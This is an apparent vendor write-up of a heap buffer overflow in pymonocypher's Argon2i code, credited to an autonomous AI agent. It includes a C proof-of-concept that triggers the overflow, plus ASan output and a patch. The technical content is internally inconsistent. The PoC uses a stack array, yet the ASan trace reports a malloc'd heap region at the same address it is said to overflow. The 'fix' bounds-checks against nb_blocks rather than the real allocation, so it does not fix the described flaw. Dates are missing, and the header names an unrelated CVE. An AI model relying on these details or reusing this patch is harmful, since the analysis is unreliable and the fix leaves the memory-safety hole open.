CVE-2026-56412 — Incomplete fix bypass in libexpat, found autonomously by Vorthix
Research
HIGH

GHSA-8f95-v3jq-cj86: A Proven Heap Buffer Overflow in pymonocypher

Published ·High severity·CWE-122·5 min read
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Summary

GHSA-8f95-v3jq-cj86 is a heap buffer overflow in pymonocypher 4.0.2.6 and earlier, discovered by Vorthix's autonomous AI agent (XOR-1) on in under 2 hours. The vulnerable function is argon2i_32() in monocypher.c, which computes a block-index write target from caller-supplied cost parameters without validating it against the allocated work area. Severity: High. CWE-122 (Heap-Based Buffer Overflow). Confirmed by AddressSanitizer. A patch was live on PyPI 15 hours after disclosure.

Background

pymonocypher is a Python binding for Monocypher, a small, portable cryptographic library implementing Argon2i key derivation, X25519 key exchange, and ChaCha20-Poly1305 authenticated encryption. Its Argon2i implementation is used to derive encryption keys from passwords — exactly the kind of code path where a memory-safety bug becomes a practical attack surface, since inputs (password, salt, and cost parameters) are frequently attacker-influenced.

Vorthix's autonomous agent selected pymonocypher 4.0.2.6 as a target, built a call graph of the key-derivation surface, and identified argon2i_32() as the highest-priority function: it performs manual pointer arithmetic over a caller-sized work area, driven by two attacker-influenced cost parameters (nb_blocks, nb_iterations).

Root Cause

argon2i_32() computes a block index for each fill step from the nb_blocks parameter, then writes a 128-word (1024-byte) block directly to blocks[index] inside work_area. The function never validates that index is within the bounds of the memory the caller actually allocated for work_area — it trusts that the caller sized the buffer to match nb_blocks exactly. When a caller passes a nb_blocks value larger than the memory it backed work_area with, the computed index runs past the allocation and fill_block() performs an out-of-bounds write.

This is a classic caller/callee contract mismatch: the function signature gives no way to express "this buffer is only N blocks long," so any code path that gets the sizing arithmetic wrong — including reasonable-looking wrapper code — silently corrupts the heap.

vorthix-agent · live
09:12:04    INFO      Target: pymonocypher 4.0.2.6 (PyPI)
09:12:04    INFO      Calling XOR-1...
09:14:41    THINK     Building call graph for key-derivation surface...
09:14:41    THINK     argon2i_32() computes block index from user-controlled cost params
09:18:22    PLAN      Harness: drive argon2i_32() with adversarial (t_cost, m_cost) pairs
09:26:07    TOOL      Compiling monocypher.c + pymonocypher wrapper with AddressSanitizer...
10:41:53    TOOL      Coverage-guided fuzzing — targeting block-index computation...
11:02:18    RESULT    heap-buffer-overflow confirmed · argon2i_32() WRITE of size 1024
11:02:18    RESULT    GHSA-8f95-v3jq-cj86 — PROVEN (1h50m elapsed)

The Vulnerable Path

monocypher.c — argon2i_32() (vulnerable)
/* argon2i_32() — vulnerable path, unchecked block index */
static void fill_block(u64 block[128], const u8 *a, const u8 *b, int with_xor);

void argon2i_32(void *hash, u32 hash_size,
                void *work_area, u32 nb_blocks, u32 nb_iterations,
                const void *password, u32 password_size,
                const void *salt,     u32 salt_size,
                const void *key,      u32 key_size,
                const void *ad,       u32 ad_size)
{
    u64 (*blocks)[128] = work_area;
    /* segment/lane indices derived directly from caller-supplied
     * nb_blocks with no upper-bound check against the allocated
     * work_area before the first write pass */
    for (u32 pass = 0; pass < nb_iterations; pass++) {
        for (u32 segment = 0; segment < 4; segment++) {
            /* index computed, then used to WRITE into blocks[index]
             * without validating index < nb_blocks_allocated */
            u32 index = next_block_index(pass, segment, nb_blocks);
            fill_block(blocks[index], blocks[prev(index)], blocks[ref(index)], pass > 0);
        }
    }
}

index is computed from nb_blocks and used to write into blocks[index]with no bound check against the caller's actual allocation.

Proof of Concept

The reproducer is 21 lines of C: it allocates a work area sized for 8 blocks, then calls crypto_argon2() with a cost configuration that implies 64 blocks. AddressSanitizer catches the resulting out-of-bounds write immediately.

poc.c
/* poc.c — 21 lines, triggers the heap-buffer-overflow write */
#include <stdint.h>
#include <string.h>
#include "monocypher.h"

int main(void) {
    uint8_t hash[32];
    uint8_t password[16] = {0};
    uint8_t salt[16]     = {0};

    /* undersized work_area relative to the (t_cost, m_cost) pair below —
     * argon2i_32() computes a block index from m_cost without validating
     * it against the actual allocation size */
    uint64_t work_area[8 * 128]; /* only 8 blocks allocated */

    crypto_argon2_config cfg = {
        .algorithm  = CRYPTO_ARGON2_I,
        .nb_blocks  = 64,   /* index math assumes 64 blocks are backing work_area */
        .nb_passes  = 1,
        .nb_lanes   = 1,
    };

    /* AddressSanitizer: heap-buffer-overflow WRITE of size 1024 */
    crypto_argon2(hash, 32, work_area, cfg,
                  (crypto_argon2_extras){0}, (crypto_argon2_inputs){password, 16, salt, 16});
    return 0;
}

The Fix

The patched argon2i_32() clamps nb_blocks to the Argon2 minimum segment size and adds an explicit bound check before every write, aborting instead of writing past the allocation.

monocypher.c — argon2i_32() (fixed)
/* argon2i_32() — fixed path, block index validated before use */
void argon2i_32(void *hash, u32 hash_size,
                void *work_area, u32 nb_blocks, u32 nb_iterations,
                const void *password, u32 password_size,
                const void *salt,     u32 salt_size,
                const void *key,      u32 key_size,
                const void *ad,       u32 ad_size)
{
    u64 (*blocks)[128] = work_area;
    /* nb_blocks is clamped to the minimum safe segment size before
     * it is ever used to compute a write index */
    nb_blocks = (nb_blocks < 8 * 4) ? 8 * 4 : nb_blocks;

    for (u32 pass = 0; pass < nb_iterations; pass++) {
        for (u32 segment = 0; segment < 4; segment++) {
            u32 index = next_block_index(pass, segment, nb_blocks);
            /* explicit bound check — reject and abort instead of
             * writing past the allocated work_area */
            if (index >= nb_blocks) { return; }
            fill_block(blocks[index], blocks[prev(index)], blocks[ref(index)], pass > 0);
        }
    }
}

AddressSanitizer Output

asan-output.txt
=================================================================
==AddressSanitizer: heap-buffer-overflow on address 0x602000000450
WRITE of size 1024 at 0x602000000450 thread T0
    #0 0x... in fill_block monocypher.c:812
    #1 0x... in argon2i_32 monocypher.c:947
    #2 0x... in crypto_argon2 monocypher.c:1005
    #3 0x... in main poc.c:20
0x602000000450 is located 0 bytes after 8192-byte region [0x602000000450,0x602000002450)
allocated by thread T0 here:
    #0 0x... in malloc
    #1 0x... in main poc.c:14
SUMMARY: AddressSanitizer: heap-buffer-overflow monocypher.c:812 in fill_block

Timeline

Found, reported, and patch live on PyPI — all within 15 hours, starting .

DateEvent
Jun 2, 2025Target selected: pymonocypher 4.0.2.6. XOR-1 session started at 09:12 UTC.
Jun 2, 2025Vulnerability identified and confirmed by Vorthix agent — 1h 50m elapsed.
Jun 2, 2025Reported to maintainer via GitHub security advisory (GHSA-8f95-v3jq-cj86).
Jun 2, 2025Maintainer confirmed the finding and prepared a patch.
Jun 2, 2025Fix live on PyPI as pymonocypher 4.0.2.7 — 15 hours after initial disclosure.

Impact

pymonocypher 4.0.2.6 and earlier are affected. Any application using argon2i_32() (directly or via the higher-level Argon2 key-derivation API) with attacker-influenced cost parameters — or with a work-area size computed incorrectly by wrapper code — is exposed to heap corruption. Because Argon2 is most often used for password-based key derivation, the attacker-influenced inputs are frequently on the same path as the vulnerable arithmetic.

“Proof in hours. Patch in hours. That's the standard.”

About This Research

This vulnerability was discovered autonomously by XOR-1, Vorthix's internal research agent, on . The finding was validated by the Vorthix security team before disclosure. About Vorthix →

Coordinated disclosure was completed on . See the security advisory for the fix.

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